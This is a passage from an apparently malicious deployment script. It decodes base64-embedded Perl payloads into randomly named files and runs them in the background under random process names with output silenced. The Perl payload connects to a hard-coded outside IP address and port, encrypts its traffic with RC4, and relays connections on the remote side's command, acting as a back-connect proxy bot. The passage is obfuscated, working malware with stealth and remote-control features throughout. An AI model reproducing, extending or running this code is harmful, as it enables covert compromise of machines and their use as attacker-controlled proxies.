CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #62 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #62 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 63 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xODknOwpteSAkcG9ydCA9IDQzNDM7CgpteSAkeG9yZGF0YSA9ICJceDAw IiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgc3Vic3RyKCR4b3JkYXRh LCAkaSwgMSkgPSBwYWNrKCdDJywgcmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkg bXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkg bXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAk cG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9 IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkg JHBvY2tlbW9uNSA9IDA7CgkKCSBteSAkcG9ja2Vtb242ID0gMDsKCQoJIG15ICRwb2NrZW1vbjcg PSAwOwoJCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgkgCgkgbXkgJHJjeCA9ICRzejsKCSAKCSBteSAk cnNpID0gMDsKCSAKCSBteSAkcmJ4ID0gMDsKCSAKCSBteSAkZ3MgPSAwOwoJIAoJIG15ICR0ID0g MDsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPD0gMjU1OyAkaSsrKSB7IHN1YnN0cigkcmM0LCAk aSwgMSkgPSBwYWNrKCdDJywgJGkpOyB9CgkgCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZm MCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngs IDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkg aWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGls ZSgkcmN4ID4gMCk7CgkKCQoJIHdoaWxlKDEpIHsKCQkgCgkJIGlmICgkZ3MgPT0gMCkgewoJCQkg CgkJCSAkcG9ja2Vtb24yID0gMDsKCgkJCSAkcG9ja2Vtb24zID0gJGxlbmd0aDsKCQl9CgkJIAoJ CSBpZiAoJGdzICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMDsKCgkJCSAkcG9ja2Vtb24yKys7CgoJ CQkgaWYgKC0tJHBvY2tlbW9uMyA9PSAwKSB7IG5leHQ7IH0KCQkJIAoJCX0KCQkKCQkgJHBvY2tl bW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSk7CgkJIAoJCSAk dCA9IHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSk7CgoJCSAkcG9j a2Vtb24xICs9ICR0OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9j a2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsK CgkJICRwb2NrZW1vbjYgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkp OwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpID0gcGFjaygnQycsICRwb2NrZW1v bjYpOwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2Nr ZW1vbjcpOwoJCSAKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAg JiAyNTU7CgkJIAoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJ CSAKCQkJIG5leHQ7CgkJfQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9 IDA7CgoJCSAkcG9ja2Vtb24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9u MyA9IDA7CgkJIAoJCSB3aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9j a2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdW5wYWNrKCdDJywg c3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9j a2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1v bjggPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkpOwoKCQkJIHN1YnN0 cigkcmM0LCAkcG9ja2Vtb24yLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb244KTsKCQkgCgkJCSBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNyk7CgoJCQkg JHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAm IDI1NTsKCgkJCSAkcG9ja2Vtb24wID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1v bjgsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uNSA9IHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcG9ja2Vtb24zLCAxKSk7CgoJCQkgJHBvY2tlbW9uNSA9ICRwb2NrZW1vbjUg XiAkcG9ja2Vtb24wOwoJCQkgCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9u MywgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNSk7CgkJCSAKCQkJICRwb2NrZW1vbjMrKzsKCQkJ IAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgkJCSAK CQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAkcmN4ID0gJHN6OwoJCgkgJHJi eCA9IDA7CgkKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkg PSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAx KSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwgMSkpKSk7CgkJIAoJCSAkcnNp Kys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3Ro KSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9Cgpz dWIgc3luc2VuZCB7CgkJCgkgbXkgJGNTb2NrZXQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmZl ciA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkZmxhZ3MJPSBzaGlmdChAXyk7CgoJIG9wZW4obXkgJGZo LCAiPCIsICcvZGV2L251bGwnKTsKCgkgZmxvY2soJGZoLCBMT0NLX0VYKTsKCSAKCSAjID09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgkgCgkgc2VuZCgkY1Nv Y2tldCwgJGJ1ZmZlciwgJGZsYWdzKTsKCSAKCSAjID09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09CgkgCgkgZmxvY2soJGZoLCBMT0NLX1VOKTsKCgkgY2xvc2Uo JGZoKTsKfQoKc3ViIG5ld0Nvbm5lY3Rpb24gewoJCglteSAkbnVtID0gc2hpZnQoQF8pOwoJCglt eSAkc29ja2V0YXJyYXkgPSBzaGlmdChAXyk7CgkKCW15ICRzU29ja2V0ID0gc2hpZnQoQF8pOwoJ CglteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCQoJbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJCiAg ICB0aHJlYWRzLT5jcmVhdGUoIHN1YiB7CgkJCgkJbXkgJHJlc3BvbmNlID0gcGFjaygnQycsICRu dW0pLiJceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJ CQoJCW15ICRkb21haW4gPSAnJzsKCQkKCQlteSAkcG9ydCA9IDA7CgkJCgkJbXkgJF9yZXQgPSAw OwoJCQoJCW15ICRkYXRhID0gJyc7CgkJCgkJbXkgJGJ1ZmZlciA9ICcnOwoJCQoJCXNldHNvY2tv cHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkJCgkJZmNudGwoJGNT b2NrZXQsIEZfU0VURkwsIE9fTk9OQkxPQ0spOwoJCQoJCWlmICh1bnBhY2soJ0MnLCBzdWJzdHIo JGJ1ZmYwLCA3LCAxKSkgPT0gMykgewoJCQkKCQkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDks IHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEpKSk7CgkJCQoJCQkkcG9ydCA9IHVucGFj aygnUycsIHN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4LCAx KSkgKyAxLCAxKS5zdWJzdHIoJGJ1ZmYwLCA5ICsgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwg OCwgMSkpICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQu JWQiLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsgMCwgMSkpLCB1bnBhY2soJ0MnLCBz dWJzdHIoJGJ1ZmYwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsg MiwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsgMywgMSkpKTsKCQkJCgkJCSRw b3J0ID0gdW5wYWNrKCdTJywgc3Vic3RyKCRidWZmMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmYw LCAxMiArIDAsIDEpKTsKCQkJCgkJfQoJCQoJCWVsc2UgewoJCQkKCQkJIGdvdG8gY2xvc2VfOwoJ CX0KCQkKCQkgZXZhbCB7CgkJCSAKCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBp bmV0X2F0b24oJGRvbWFpbikpOwoJCQoJCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkg CgkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJGNTb2NrZXQpLCAxKSA9IDE7CgoJCQkgdW5s ZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxMCkpIHsgZ290byBjbG9zZV87IH0KCQkg CgkJCSBmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgMCk7CgkJIAoJCQkgc3Vic3RyKCRyZXNwb25j ZSwgNCwgMSkgPSAiXHgwMCI7CgkJIAoJCQkgJF9yZXQgPSAxOwoJCQkgCgkJIH07CgkJIAoJCSBj bG9zZV86CgkJIAoJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7 CgkJIAoJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAK CQkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCSAKCQkgUmM0 X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkgaWYgKCRfcmV0 ID09IDEpIHsKCQkJIAoJCQkgd2hpbGUgKCQkc29ja2V0YXJyYXlbJG51bV0gPT0gMSkgewoJCQkJ IAoJCQkJIHZlYyhteSAkcmluID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJCSAK CQkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDEpKSB7IG5leHQ7IH0KCQkJ CSAKCQkJCSAkZGF0YSA9ICcnOwoKCQkJCSByZWN2KCRjU29ja2V0LCAkZGF0YSwgNjU1MzAsIDAp OwoJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRidWZmZXIgPSBw YWNrKCdDJywgJG51bSkucGFjaygnUycsIGxlbmd0aCgkZGF0YSkpLiRkYXRhOwoJCQkJIAoJCQkJ IFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMCwgMyk7CgkJIAoJCQkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJ CQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlciwgTVNHX05PU0lHTkFMKTsKCQkJCSAKCQkJfQoJ CX0KCQkKCQkgJCRzb2NrZXRhcnJheVskbnVtXSA9IDA7CgkJIAoJCSBjbG9zZSgkY1NvY2tldCk7 CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBzeW5zZW5kKCRz U29ja2V0LCBzdWJzdHIoJHJlc3BvbmNlLCAwLCAzKSwgTVNHX05PU0lHTkFMKTsKCQkKICAgICAg ICAgdGhyZWFkcy0+ZGV0YWNoKCk7CiAgICB9KTsKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0 ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5p bmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJ IG15IEBzb2NrZXRhcnJheSA6c2hhcmVkOwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7 CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gJyc7 CgkgCgkgbXkgJGlzRXhpdCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7 CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7 CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNP Q0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tl dGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBz b2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVj dCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRi dWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAi XHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsK CSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2Vu ZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsK CQkgCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycs IGZpbGVubygkc29ja2V0YXJyWzBdKSwgMSkgPSAxOwoJCQkgCgkJCSBteSAkcmV0ID0gc2VsZWN0 KCRyaW4sIHVuZGVmLCB1bmRlZiwgNjApOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJ CSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZl cm51bGwsIDAsIDMpIG5lICJceDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVt YWluaW5nICE9IDApOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJ IAoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJ IAoJCQkJIHN5bnNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7 CgkJCQkgCgkJCQkgbmV4dDsKCQkJfQoJCQkgCgkJfQoJCSAKCQkgaWYgKCRyZW1haW5pbmcgIT0g MCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7CgkJCSAKCQkJIGlmICgkZWR4ID09IDApIHsKCQkJCSAK CQkJCSBpZiAoc3Vic3RyKCRidWZmZXIwLCAwLCAxKSBlcSAiXHhGRiIgJiYgc3Vic3RyKCRidWZm ZXIwLCAxLCAxKSBlcSAiXHhGRSIpIHsKCQkJCQkgCgkJCQkJICRpc0V4aXQgPSAxOwoJCQkJCSAK CQkJCQkgbGFzdDsKCQkJCQkgCgkJCQl9CgkJCQkgCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYg JGVieCA+IDApIHsKCQkJCSAKCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMDsKCQkJCSAKCQkJ CX0KCQkJCgkJCX0KCQkJCgkJCWVsc2UgewoJCQkJCgkJCQkgJGVjeCA9ICRlZHg7CgkJCQkKCQkJ CSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7CgkJCQkgCgkJCQkgJGRhdGEgPSAnJzsKCQkJCSAK CQkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRhLCAkZWN4LCAwKTsKCQkJCQoJCQkJIHVubGVz cyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gbGVuZ3RoKCRkYXRh KTsKCQkJCSAKCQkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJCSAKCQkJCSBpZiAoJGVkeCA9PSAk cmVtYWluaW5nKSB7CgkJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZm ZXIwLCA0LCAkcmVtYWluaW5nKTsKCQkJCQkgCgkJCQkJIGlmICh1bnBhY2soJ0MnLCBzdWJzdHIo JGJ1ZmZlcjAsIDAsIDEpKSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJy 